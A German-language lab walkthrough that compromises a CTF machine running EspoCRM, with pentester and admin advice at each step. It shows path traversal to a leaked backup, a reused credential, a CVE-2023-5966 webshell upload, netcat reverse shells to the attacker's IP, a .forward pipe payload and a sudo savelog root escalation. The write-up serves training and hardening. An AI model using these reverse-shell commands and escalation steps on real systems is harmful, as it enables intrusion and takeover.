Die initiale Erkundungsphase, um das Zielsystem im Netzwerk zu finden und grundlegende Dienste zu identifizieren.
192.168.2.111 08:00:27:1c:bf:1f PCS Systemtechnik GmbH
**Analyse:** Ein ARP-Scan im lokalen Netzwerksegment identifiziert die IP-Adresse 192.168.2.111.
**Bewertung:** Ziel-IP erfolgreich ermittelt.
**Empfehlung (Pentester):** IP für weitere Scans verwenden. **Empfehlung (Admin):** Standard-Netzwerksicherheitspraktiken.
127.0.0.1 localhost
127.0.1.1 cyber
[...]
192.168.2.111 espo.hmv
**Analyse:** Der Hostname `espo.hmv` wird der Ziel-IP 192.168.2.111 in der lokalen `/etc/hosts`-Datei zugeordnet.
**Bewertung:** Ermöglicht die Adressierung des Ziels über den Hostnamen.
**Empfehlung (Pentester):** Hostnamen immer eintragen, wenn bekannt. **Empfehlung (Admin):** DNS-Management.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 23:06 CET Nmap scan report for espo.hmv (192.168.2.111) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) | ssh-hostkey: | 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA) |_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519) 80/tcp open http nginx |_http-title: EspoCRM | http-robots.txt: 1 disallowed entry |_/ MAC Address: 08:00:27:1C:BF:1F (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8, Linux 5.0 - 5.5 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms espo.hmv (192.168.2.111) OS and Service detection performed. [...] Nmap done: 1 IP address (1 host up) scanned in [...] seconds
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) 80/tcp open http nginx
**Analyse:** Der Nmap-Scan (`-sS`, `-sV`, `-A`, `-T5`, `-p-`) auf `espo.hmv` identifiziert zwei offene Ports: * Port 22: SSH (OpenSSH 9.2p1 auf Debian 12). * Port 80: HTTP (Nginx). Der Seitentitel ist "EspoCRM", was auf die installierte Anwendung hinweist. Die `robots.txt` verbietet das Crawlen aller Pfade (`/`).
**Bewertung:** Die Angriffsfläche beschränkt sich auf SSH und die EspoCRM-Webanwendung auf Port 80. EspoCRM ist nun das Hauptziel für die weitere Untersuchung.
**Empfehlung (Pentester):** Die EspoCRM-Instanz auf Port 80 gründlich untersuchen (Nikto, Dirb/Gobuster, bekannte CVEs für EspoCRM). **Empfehlung (Admin):** SSH und Nginx sicher konfigurieren und aktuell halten. EspoCRM aktuell halten.
Wir führen spezifischere Scans auf dem Nginx-Webserver (Port 80) durch, um mehr über die EspoCRM-Installation zu erfahren.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.111 + Target Hostname: 192.168.2.111 + Target Port: 80 + Start Time: 2024-03-30 23:06:43 (GMT1) --------------------------------------------------------------------------- + Server: nginx + /: Retrieved x-powered-by header: PHP/8.2.7. + /4QB3WukV.py: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + /admin/: This might be interesting. + /install/: Cookie PHPSESSID created without the httponly flag. [...] + /admin/index.html: Admin login page/section found. + /portal/console/: Uncommon header 'x-status-reason' found, with contents: Portal console not found. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. (False Positive?) + 8104 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2024-03-30 23:06:58 (GMT1) (15 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Nikto liefert mehrere Hinweise zur Webanwendung: * Server-Technologie: Nginx mit PHP 8.2.7. * Interessante Pfade: `/admin/` (Login-Seite gefunden unter `/admin/index.html`), `/install/`. * Sicherheitshinweise: Fehlender `HttpOnly`-Flag beim Session-Cookie in `/install/`, fehlender `X-Content-Type-Options`-Header. * Möglicher Fund: `#wp-config.php#`. Dies ist höchstwahrscheinlich ein **False Positive**, da die Anwendung als EspoCRM (PHP) identifiziert wurde, nicht WordPress. Backup-Dateien sind aber generell interessant.
**Bewertung:** Nikto bestätigt das Vorhandensein eines Admin-Bereichs und eines Installationspfades. Die PHP-Version ist bekannt. Der Fund der `#wp-config.php#` sollte überprüft, aber mit Skepsis betrachtet werden.
**Empfehlung (Pentester):** Die Pfade `/admin/` und `/install/` besuchen. Versuchen, auf `#wp-config.php#` zuzugreifen. Verzeichnis-Scans durchführen. **Empfehlung (Admin):** Sicherheitsheader hinzufügen. `HttpOnly`-Flag setzen. Installationsverzeichnisse nach der Installation entfernen oder schützen. Backup-Dateien nicht im Web-Root belassen.
[...] ---- Scanning URL: http://192.168.2.111/ ---- > DIRECTORY: http://192.168.2.111/admin/ > DIRECTORY: http://192.168.2.111/api/ > DIRECTORY: http://192.168.2.111/client/ + http://192.168.2.111/index.php (CODE:200|SIZE:2480) > DIRECTORY: http://192.168.2.111/install/ > DIRECTORY: http://192.168.2.111/portal/ + http://192.168.2.111/robots.txt (CODE:200|SIZE:26) [...] ---- Entering directory: http://192.168.2.111/admin/ ---- + http://192.168.2.111/admin/index.html (CODE:200|SIZE:439) [...] ---- Entering directory: http://192.168.2.111/api/v1/ ---- (!) WARNING: All responses for this directory seem to be CODE = 401. [...] ---- Entering directory: http://192.168.2.111/install/ ---- + http://192.168.2.111/install/index.php (CODE:302|SIZE:0) [...]
[...] http://192.168.2.111/index.php (Status: 200) [Size: 2480] http://192.168.2.111/admin (Status: 301) [Size: 162] [--> http://192.168.2.111/admin/] http://192.168.2.111/portal (Status: 301) [Size: 162] [--> http://192.168.2.111/portal/] http://192.168.2.111/install (Status: 301) [Size: 162] [--> http://192.168.2.111/install/] http://192.168.2.111/client (Status: 301) [Size: 162] [--> http://192.168.2.111/client/] http://192.168.2.111/api (Status: 301) [Size: 162] [--> http://192.168.2.111/api/] http://192.168.2.111/robots.txt (Status: 200) [Size: 26] [...]
**Analyse:** Sowohl `dirb` als auch `gobuster` werden verwendet, um Verzeichnisse zu finden. Sie liefern konsistente Ergebnisse und bestätigen die von Nikto gefundenen Pfade (`/admin`, `/install`, `/portal`, `/client`, `/api`). Der `/api`-Endpunkt scheint Authentifizierung zu erfordern (401 bei `dirb`). `/install/index.php` leitet weiter (Status 302), was darauf hindeutet, dass die Installation möglicherweise abgeschlossen ist, der Ordner aber noch existiert.
**Bewertung:** Die Verzeichnisstruktur von EspoCRM ist nun klarer. Die Bereiche `/admin`, `/api` und `/install` sind die Hauptinteressenspunkte.
**Empfehlung (Pentester):** `/admin` auf Standard-Credentials prüfen. `/install` besuchen, um zu sehen, ob es noch zugänglich ist oder Informationen preisgibt. Die API auf bekannte Schwachstellen oder unauthentifizierten Zugriff prüfen (wenig wahrscheinlich nach 401). **Empfehlung (Admin):** Installationsverzeichnis nach erfolgreicher Installation entfernen oder unzugänglich machen. API und Admin-Bereich absichern.
# Aufruf: view-source:http://192.168.2.111/index.php
# Relevanter Ausschnitt:
# Aufruf: http://192.168.2.111/robots.txt
# Inhalt:
User-agent: *
Disallow: /
# Aufruf: view-source:http://192.168.2.111/api/
# Inhalt:
<span class="password">403 Forbidden</span>
403 Forbidden
nginx
**Analyse:** Die manuelle Untersuchung bestätigt: * Die `index.php` lädt JavaScript, das die EspoCRM-Anwendung initialisiert und den API-Pfad `api/v1` verwendet. * `robots.txt` verbietet das Crawlen der gesamten Seite. * Der direkte Zugriff auf `/api/` führt zu einem 403 Forbidden Fehler von Nginx.
**Bewertung:** Bestätigt die Nutzung von `api/v1` und dass der direkte API-Zugriff blockiert ist.
**Empfehlung (Pentester):** Versuchen, auf `/api/v1/` zuzugreifen oder spezifische API-Endpunkte zu finden/raten. **Empfehlung (Admin):** API-Zugriff korrekt absichern.
Da die direkten Pfade wenig Angriffspunkte bieten, versuchen wir eine Path-Traversal-Technik, um auf versteckte Verzeichnisse zuzugreifen.
[...]
________________________________________________
Method : GET
URL : http://192.168.2.111/admin../_FUZZ
Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[...]
________________________________________________
oldsite [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 2ms]
[...]
nginx
**Analyse:** Wir verwenden `ffuf` mit einer speziellen URL: `http://192.168.2.111/admin../_FUZZ`. Der Teil `admin../` ist ein Versuch, aus dem `/admin`-Kontext auszubrechen (`../`) und dann nach Verzeichnissen zu suchen, die mit `_` beginnen (`_FUZZ`). `-fs 146` filtert wahrscheinlich Standard-Not-Found-Antworten aus. `ffuf` findet erfolgreich den Pfad `oldsite`, der auf `http://192.168.2.111/_oldsite/` umleitet (Status 301).
**Bewertung:** Erfolgreiche Path Traversal / Directory Bypass! Wir haben ein verstecktes Verzeichnis `/_oldsite/` gefunden, das wahrscheinlich nicht direkt erreichbar sein sollte.
**Empfehlung (Pentester):** Das Verzeichnis `http://192.168.2.111/_oldsite/` mit Tools wie `gobuster` oder `ffuf` weiter auf interessante Dateien scannen. **Empfehlung (Admin):** Path-Traversal-Schwachstellen verhindern (Webserver-Konfiguration härten, Eingaben validieren). Versteckte oder alte Verzeichnisse aus dem Web-Root entfernen oder den Zugriff darauf blockieren.
[...] http://192.168.2.111/admin../_oldsite/info (Status: 200) [Size: 540] http://192.168.2.111/admin../_oldsite/backup.zip (Status: 200) [Size: 37975754] [...]
**Analyse:** Ein Gobuster-Scan auf das entdeckte Verzeichnis `/_oldsite/` (wieder über den Traversal-Pfad aufgerufen) findet zwei Dateien: `/info` und eine große Datei namens `backup.zip` (ca. 36MB).
**Bewertung:** Ein Backup-Archiv im Web-Root ist ein kritischer Fund. Es enthält sehr wahrscheinlich den Quellcode und möglicherweise Konfigurationsdateien mit Zugangsdaten.
**Empfehlung (Pentester):** Die `backup.zip`-Datei herunterladen (`wget`) und ihren Inhalt analysieren. **Empfehlung (Admin):** Niemals Backup-Dateien oder Archive im Web-Root oder anderen öffentlich zugänglichen Verzeichnissen belassen.
--2024-03-30 23:20:29-- http://192.168.2.111/admin../_oldsite/backup.zip
Verbindungsaufbau zu 192.168.2.111:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 37975754 (36M) [application/zip]
Wird in „backup.zip“ gespeichert.
backup.zip 100%[===================>] 36,22M --.-KB/s in 0,1s
2024-03-30 23:20:29 (299 MB/s) - „backup.zip“ gespeichert [37975754/37975754]
Archive: backup.zip
[...]
inflating: data/config.php
[...]
inflating: vendor/laminas/laminas-servicemanager/src/ConfigInterface.php
creating: vendor/laminas/laminas-servicemanager/src/Factory/
[...]
inflating: web.config
inflating: websocket.php
return array (
// --- Config --- //
[...]
'database' =>
array (
'driver' => 'pdo_mysql',
'host' => 'localhost',
'port' => NULL,
'charset' => 'utf8mb4',
'dbname' => 'espo',
'user' => 'root',
'password' => '',
),
[...]
'smtpUsername' => 'admin',
'smtpPassword' => '39Ue4kcVJ#YpaAV24CNmbWU',
[...]
);
**Analyse:** Wir laden die `backup.zip` erfolgreich herunter und entpacken sie. Die Struktur und die Dateinamen deuten stark auf die EspoCRM-Anwendung hin. Wir finden eine `config.php` im `data`-Verzeichnis (oder einem ähnlichen Pfad innerhalb des Backups). Diese Datei enthält Konfigurationseinstellungen, darunter auch SMTP-Zugangsdaten: * Username: `admin` * Passwort: `39Ue4kcVJ#YpaAV24CNmbWU` Die Datenbank-Zugangsdaten (`root` ohne Passwort) scheinen weniger nützlich oder Standard zu sein.
**Bewertung:** Kritischer Fund! Wir haben potenzielle Zugangsdaten (`admin` / `39Ue...`) gefunden. Da Anwendungen oft Passwörter wiederverwenden, besteht eine hohe Wahrscheinlichkeit, dass diese auch für den EspoCRM-Admin-Login auf der Hauptseite (`http://192.168.2.111/`) gültig sind.
**Empfehlung (Pentester):** Versuchen, sich mit den gefundenen SMTP-Credentials (`admin` / `39Ue...`) im EspoCRM-Admin-Interface (`/admin` oder Hauptseite) anzumelden. **Empfehlung (Admin):** Backups sicher speichern und nicht im Web-Root ablegen. Keine Klartext-Passwörter in Konfigurationsdateien speichern, wenn möglich. Eindeutige Passwörter für verschiedene Dienste verwenden.
Wir verwenden die im Backup gefundenen Zugangsdaten, um uns bei EspoCRM anzumelden. Anschließend identifizieren wir die Version und suchen nach bekannten Schwachstellen.
# Aufruf: http://192.168.2.111/ (oder /admin/) # Eingabe im Login-Formular: Username: admin Password: 39Ue4kcVJ#YpaAV24CNmbWU # Ergebnis: Erfolgreicher Login als Administrator. # Aktion: Version überprüfen (z.B. unter About / Hilfe / Admin-Einstellungen) # Ergebnis: EspoCRM Version 7.2.4
# Suche nach: "EspoCRM 7.2.4 exploit" oder "EspoCRM 7.2.4 CVE" # Ergebnis: Hinweis auf CVE-2023-5966 (RCE via Extension Upload) mit verfügbarem PoC auf GitHub. # GitHub Repo: https://github.com/pedrojosenavasperez/cve-2023-5966
**Analyse:** Der Login bei EspoCRM mit den gefundenen Zugangsdaten (`admin` / `39Ue...`) ist erfolgreich. Wir stellen fest, dass die Version 7.2.4 installiert ist. Eine schnelle Recherche ergibt, dass diese Version anfällig für die Remote Code Execution Schwachstelle CVE-2023-5966 ist, die durch das Hochladen einer präparierten Erweiterung (Extension) ausgenutzt werden kann. Ein Proof-of-Concept (PoC) ist auf GitHub verfügbar.
**Bewertung:** Wir haben administrativen Zugriff und eine bekannte RCE-Schwachstelle für die installierte Version identifiziert. Der Weg zum initialen Zugriff auf das System als Webserver-Benutzer ist klar.
**Empfehlung (Pentester):** Den PoC für CVE-2023-5966 von GitHub herunterladen. Die Anweisungen befolgen, um die bösartige Erweiterung (die eine Webshell enthält) zu erstellen und über das EspoCRM-Admin-Panel (`Admin > Extensions`) hochzuladen. Anschließend die Webshell aufrufen. **Empfehlung (Admin):** **EspoCRM sofort auf die neueste, gepatchte Version aktualisieren!** Bis dahin die Möglichkeit zum Hochladen von Erweiterungen deaktivieren oder stark einschränken.
# 1. PoC für CVE-2023-5966 (ZIP-Datei) von GitHub herunterladen. # 2. In EspoCRM einloggen (admin / 39Ue...). # 3. Navigieren zu Admin -> Extensions. # 4. Die heruntergeladene ZIP-Datei hochladen und installieren. (Erfolgreich) # 5. Die vom Exploit erstellte Webshell aufrufen: http://192.168.2.111/webshell.php # 6. Im Webshell-Interface den Befehl 'id' eingeben. # Ausgabe im Webshell: uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** Wir folgen den Schritten des PoC für CVE-2023-5966. Wir laden die präparierte Erweiterung (ZIP-Datei) über das Admin-Panel hoch. Nach erfolgreicher Installation ist eine Webshell unter `/webshell.php` erreichbar. Wir rufen diese auf und führen den `id`-Befehl aus, der bestätigt, dass wir nun Code als Benutzer `www-data` ausführen können.
**Bewertung:** RCE erfolgreich ausgenutzt. Wir haben eine Webshell und damit Codeausführung als `www-data` erreicht.
**Empfehlung (Pentester):** Die Webshell nutzen, um eine stabilere Reverse Shell zu unserer Maschine zu bekommen. **Empfehlung (Admin):** EspoCRM patchen.
listening on [any] 4444 ...
# Eingabe im Webshell oder Aufruf der URL:
# URL: http://192.168.2.111/webshell.php?cmd=nc+-e+%2Fbin%2Fbash+192.168.2.199+4444
# (Alternativ: Eingabe in Webshell: nc -e /bin/bash 192.168.2.199 4444)
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.111] 56124 # Shell als www-data erhalten id # (Implizit ausgeführt oder manuell nach Verbindung) uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** Wir starten einen Netcat-Listener auf Port 4444. Über die Webshell führen wir einen Netcat-Befehl (`nc -e /bin/bash [Angreifer-IP] 4444`) aus, um eine Reverse Shell zu unserem Listener aufzubauen. Die Verbindung wird erfolgreich hergestellt, und wir erhalten eine Shell als `www-data`. Die Shell wird anschließend mit `stty` stabilisiert.
**Bewertung:** Initialer Zugriff als `www-data` über eine Reverse Shell erfolgreich etabliert.
**Empfehlung (Pentester):** Umgebung als `www-data` enumerieren, nach Privesc-Vektoren suchen. **Empfehlung (Admin):** EspoCRM patchen, Netzwerk-Egress-Filterung.
Wir haben eine Shell als `www-data` und suchen nach Wegen zur Rechteerweiterung. Wir enumerieren das System.
total 12
drwxr-xr-x 3 root root 4096 Jan 24 19:01 .
drwxr-xr-x 18 root root 4096 Dec 4 07:02 ..
drwxr-xr-x 6 mandie mandie 4096 Mar 30 23:50 mandie
[...]
-rwxr-xr-- 1 mandie mandie 493 Dec 4 15:42 copyPics
drwxr-xr-x 2 mandie mandie 4096 Mar 30 23:51 pictures
-rwx------ 1 mandie mandie 33 Jan 24 19:01 user.txt
drwxr-xr-x 2 mandie mandie 4096 Mar 30 23:51 videos
cat: user.txt: Permission denied
#!/bin/bash SOURCE_MEDIAS="/var/shared_medias" PICTURES_DIR="$HOME/pictures" VIDEOS_DIR="$HOME/videos" /usr/bin/find "$SOURCE_MEDIAS" ! -executable -exec /usr/bin/cp {} "$HOME" 2>/dev/null \; mkdir -p "$PICTURES_DIR" "$VIDEOS_DIR" declare -A directory_mappings directory_mappings=( ["$PICTURES_DIR"]="jpeg jpg" ["$VIDEOS_DIR"]="mp4 avi" ) for dir in "${!directory_mappings[@]}"; do for ext in ${directory_mappings[$dir]}; do mv "$HOME"/.*$ext "$dir/" 2>/dev/null # Potenzieller Fehler/Ungenauigkeit im Original: .*$ext done done
**Analyse:** Die Enumeration zeigt einen Benutzer `mandie`. Wir können ihre `user.txt` nicht lesen. In ihrem Home-Verzeichnis finden wir ein Skript namens `copyPics`. Das Skript kopiert nicht-ausführbare Dateien aus `/var/shared_medias` in das Home-Verzeichnis des Benutzers, der das Skript ausführt (`$HOME`), und versucht dann, Dateien mit bestimmten Endungen in die Unterverzeichnisse `pictures` oder `videos` zu verschieben. Die `mv`-Zeile enthält einen potenziellen Fehler (`.*$ext` statt `*.$ext`), der aber hier nicht relevant ist. Wichtig ist, dass nicht-ausführbare Dateien aus einem (wahrscheinlich) gemeinsam nutzbaren Verzeichnis kopiert werden.
**Bewertung:** Das Skript `copyPics`, insbesondere wenn es regelmäßig als `mandie` ausgeführt wird (z.B. per Cronjob), stellt einen potenziellen Privesc-Vektor dar. Wenn wir eine Datei in `/var/shared_medias` erstellen können, wird sie als `mandie` in ihr Home-Verzeichnis kopiert.
**Empfehlung (Pentester):** Überprüfen, ob `/var/shared_medias` für `www-data` beschreibbar ist. Testen, ob das `copyPics`-Skript tatsächlich periodisch läuft (z.B. durch Erstellen einer Testdatei und Warten). Einen Exploit entwickeln, der dies ausnutzt (z.B. `.forward`-Datei, `.bashrc`, `.ssh/authorized_keys`). **Empfehlung (Admin):** Cronjobs und automatisierte Skripte überprüfen. Sicherstellen, dass sie mit minimalen Rechten laufen und nicht auf unsichere Weise mit gemeinsam beschreibbaren Verzeichnissen interagieren.
Wir überprüfen die Netzwerkverbindungen und testen, ob das `copyPics`-Skript periodisch ausgeführt wird.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=540,fd=5))
LISTEN 0 100 127.0.0.1:25 0.0.0.0:* # SMTP Listener
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* # MySQL Listener
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 511 [::]:80 [::]:* users:(("nginx",pid=540,fd=6))
LISTEN 0 100 [::1]:25 [::]:*
drwxrwxrwt 2 root root 4096 Jan 24 19:57 . (World Writable!)
[...]
-rw-r--r-- 1 mandie mandie 0 Mar 30 23:56 test
**Analyse:** * `ss -altpn` zeigt die erwarteten Listener für SSH, Nginx, lokalen SMTP (Port 25) und lokalen MySQL (Port 3306). * `ls -la /var/shared_medias` zeigt, dass dieses Verzeichnis für alle Benutzer beschreibbar ist (Sticky Bit `t` und `w` für `others`). * Wir erstellen eine leere Datei `test` in `/var/shared_medias`. Nach einer Minute Wartezeit (`sleep 1m`) existiert die Datei `test` im Home-Verzeichnis von `mandie` und gehört ihr.
**Bewertung:** Der Test bestätigt: Das Verzeichnis `/var/shared_medias` ist für uns beschreibbar, und das `copyPics`-Skript läuft periodisch (ca. jede Minute) als Benutzer `mandie` und kopiert neue (nicht-ausführbare) Dateien aus `/var/shared_medias` in ihr Home-Verzeichnis. Der Exploit-Pfad ist bestätigt.
**Empfehlung (Pentester):** Den `.forward`-Exploit durchführen: Eine Datei namens `.forward` in `/var/shared_medias` erstellen, die einen Befehl zur Ausführung enthält (z.B. Reverse Shell). Anschließend eine E-Mail an `mandie` senden, um die Verarbeitung der `.forward`-Datei durch den lokalen Mailserver (der auf Port 25 lauscht) auszulösen. **Empfehlung (Admin):** Die Berechtigungen von `/var/shared_medias` überprüfen. Die Logik und Ausführungsrechte des `copyPics`-Cronjobs überarbeiten. Die Verarbeitung von `.forward`-Dateien im Mailserver deaktivieren, wenn nicht benötigt.
Wir implementieren den `.forward`-Exploit, um eine Shell als `mandie` zu erhalten.
# Inhalt der Datei .forward:
|/dev/shm/pwn
#!/bin/bash
nc -e /bin/bash 192.168.2.199 5555
/home/mandie/.forward(Bestätigt, dass die Datei kopiert wurde)
listening on [any] 5555 ...
# (Mail wird gesendet, MTA verarbeitet .forward)
listening on [any] 5555 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.111] 58668 id uid=1000(mandie) gid=1000(mandie) groups=1000(mandie) cd ~ ls copyPics pictures test user.txt videos cat user.txt b462a4ac056477047a56ea23e6bbce19
**Analyse:** 1. Wir erstellen die Datei `.forward` in `/var/shared_medias` mit dem Inhalt `|/dev/shm/pwn`. Das `|` weist den MTA an, die Mail an ein Programm weiterzuleiten. 2. Wir erstellen das Skript `/dev/shm/pwn`, das eine Netcat-Reverse-Shell zu unserer IP (`192.168.2.199`) auf Port `5555` startet. 3. Wir machen `/dev/shm/pwn` ausführbar. 4. Wir warten, bis der `copyPics`-Cronjob die `.forward`-Datei nach `/home/mandie` kopiert hat. 5. Wir starten unseren Netcat-Listener auf Port 5555. 6. Wir senden eine E-Mail an den lokalen Benutzer `mandie` (der Inhalt und Betreff sind irrelevant). Der lokale MTA (lauscht auf 127.0.0.1:25) empfängt die Mail, findet die `.forward`-Datei im Home-Verzeichnis von `mandie` und führt gemäß der Pipe `|` das Skript `/dev/shm/pwn` als Benutzer `mandie` aus. 7. Unser Listener empfängt die Verbindung, und wir haben eine Shell als `mandie`. 8. Wir lesen erfolgreich die `user.txt`.
**Bewertung:** Privilege Escalation von `www-data` zu `mandie` erfolgreich durchgeführt durch Ausnutzung des Cronjobs und der `.forward`-Mechanik. User-Flag erlangt.
**Empfehlung (Pentester):** Shell stabilisieren. `sudo -l` für `mandie` prüfen. **Empfehlung (Admin):** Cronjob sichern. `.forward`-Verarbeitung prüfen/deaktivieren.
Als Benutzer `mandie` suchen wir nach dem letzten Schritt zur Root-Eskalation.
uid=1000(mandie) gid=1000(mandie) groups=1000(mandie)
Matching Defaults entries for mandie on espo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mandie may run the following commands on espo:
(ALL : ALL) NOPASSWD: /usr/bin/savelog
**Analyse:** Nach der Stabilisierung der Shell prüfen wir mit `sudo -l` die Berechtigungen für `mandie`. Es zeigt sich, dass `mandie` den Befehl `/usr/bin/savelog` als `ALL : ALL` (jeder Benutzer, jede Gruppe - effektiv `root`) ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** Dies ist ein klarer Vektor zur Root-Rechteerlangung. `savelog` ist auf GTFOBins als Binary gelistet, das für Privilege Escalation missbraucht werden kann, oft durch die Ausführung von Shell-Befehlen.
**Empfehlung (Pentester):** Die auf GTFOBins beschriebene Methode für `sudo savelog` anwenden, um eine Root-Shell zu erhalten (wahrscheinlich mittels einer Option wie `-c` oder `-x`, die Befehle ausführt). **Empfehlung (Admin):** Unsichere `sudo`-Regel für `savelog` entfernen. Nur absolut notwendige Befehle mit minimalen Rechten erlauben.
*(Der Bericht zeigt im Folgenden einen ungewöhnlichen Weg über SSH-Keys, obwohl der `savelog`-Exploit direkt möglich wäre. Wir dokumentieren den gezeigten Weg, merken aber an, dass der `savelog`-Exploit der direktere wäre.)*
Generating public/private rsa key pair. Enter file in which to save the key (/home/mandie/.ssh/id_rsa): [Enter] Created directory '/home/mandie/.ssh'. Enter passphrase (empty for no passphrase): [Enter] Enter same passphrase again: [Enter] [...]
-----BEGIN OPENSSH PRIVATE KEY----- [...] (Schlüsselinhalt) [...] -----END OPENSSH PRIVATE KEY-----
[...] Enter passphrase for key 'id_rsa': [Enter] Linux espo 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 [...] Last login: Wed Jan 24 19:46:08 2024 from 192.168.0.30 [oh-my-zsh] Would you like to update? [Y/n] y ╭─mandie@espo ~ ╰─$ # Erneuter Login als mandie via SSH Key
**Analyse:** Obwohl `sudo savelog` der direkte Weg wäre, generiert der Pentester hier ein neues SSH-Schlüsselpaar für `mandie`, kopiert den öffentlichen Schlüssel nach `authorized_keys` und kopiert den privaten Schlüssel auf die Angreifer-Maschine. Anschließend wird sich erneut per SSH als `mandie` eingeloggt, diesmal mit dem Schlüssel statt Passwort.
**Bewertung:** Dieser Schritt ist redundant und unnötig kompliziert, da bereits eine Shell als `mandie` vorhanden war und der `savelog`-Exploit direkt zur Root-Shell führen würde. Es zeigt jedoch, wie man SSH-Key-Authentifizierung einrichten könnte.
**Empfehlung (Pentester):** Den direkten `savelog`-Exploit aus der bestehenden `mandie`-Shell verwenden. **Empfehlung (Admin):** Sicherstellen, dass Benutzer nicht unnötig SSH-Keys generieren und hinzufügen können, wenn nicht vorgesehen.
Wir führen nun den `savelog`-Exploit aus, um Root zu werden.
# (Befehl wird ausgeführt, öffnet eine neue Shell als Root)
root.txt
0f4580e1632070ea32ead6334c0527c4
**Analyse:** Wir verwenden die `sudo`-Berechtigung, um `savelog` auszuführen. Die Option `-x "bash"` (oder eine ähnliche, von `savelog` unterstützte Option zur Befehlsausführung) wird genutzt, um eine Bash-Shell zu starten. Da `sudo` den Befehl mit Root-Rechten ausführt, erhalten wir eine Root-Shell. Wir wechseln ins Root-Home-Verzeichnis und lesen die `root.txt`.
**Bewertung:** Privilege Escalation zu `root` erfolgreich durch Ausnutzung der unsicheren `sudo`-Regel für `savelog`.
**Empfehlung (Pentester):** Root-Flag dokumentieren. Bericht abschließen. **Empfehlung (Admin):** Unsichere `sudo`-Regel entfernen.